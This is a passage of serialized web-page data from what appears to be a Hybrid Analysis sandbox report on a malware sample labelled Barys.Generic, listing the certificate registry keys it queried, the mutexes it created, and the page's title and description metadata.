t_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\POLICIES\\MICROSOFT\\SYSTEMCERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CERTIFICATES\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CRLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"key":"HKLMHKLM\\SOFTWARE\\MICROSOFT\\ENTERPRISECERTIFICATES\\DISALLOWED\\CTLS\\","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]}],"keys_modified":null,"keys_deleted":null},"mutex_activity":{"mutex_created":[{"name":"\\BaseNamedObjects\\MSN_1949aed0fcb3463a69fdefe90f6f23fc_DEV-7cca83520e4c0071","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7644:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7644:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7644:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:7644:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"Local\\SM0:7644:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"Local\\SM0:7644:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"Local\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:7296:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7296:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7296:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:5376:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5376:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"Local\\SM0:5376:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:5376:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:5376:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:5376:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"Local\\SM0:7916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:7916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"SM0:7916:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\SM0:7916:304:WilStaging_02","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\SM0:7916:120:WilError_01","sources":[{"report_type":"sandbox","report_id":"69dbeb92011ea7886407d987"}]}]}},"report_ids":{"sandbox_job_ids":["69dbeb92011ea7886407d987"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Barys.Generic Sample 44e04c004a67… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 44e04c004a67…. Malware family: Barys.Generic. Threat score 100/100. 5/28 AV engines flagged this file. 6 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837"}],["$","meta","4",{"property":"og:title","content":"Malicious Barys.Generic Sample 44e04c004a67… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 44e04c004a67…. Malware family: Barys.Generic. Threat score 100/100. 5/28 AV engines flagged this file. 6 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/44e04c004a67c3f424db0d49c6dca82eccadcab00fb0a62c6c959354f8e1f837"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Barys.Generic Sample 44e04c004a67… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 44e04c004a67…. Malware family: Barys.Generic. Threat score 100/100. 5/28 AV engines flagged this file. 6 malicious and 10 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L89","11",{}]]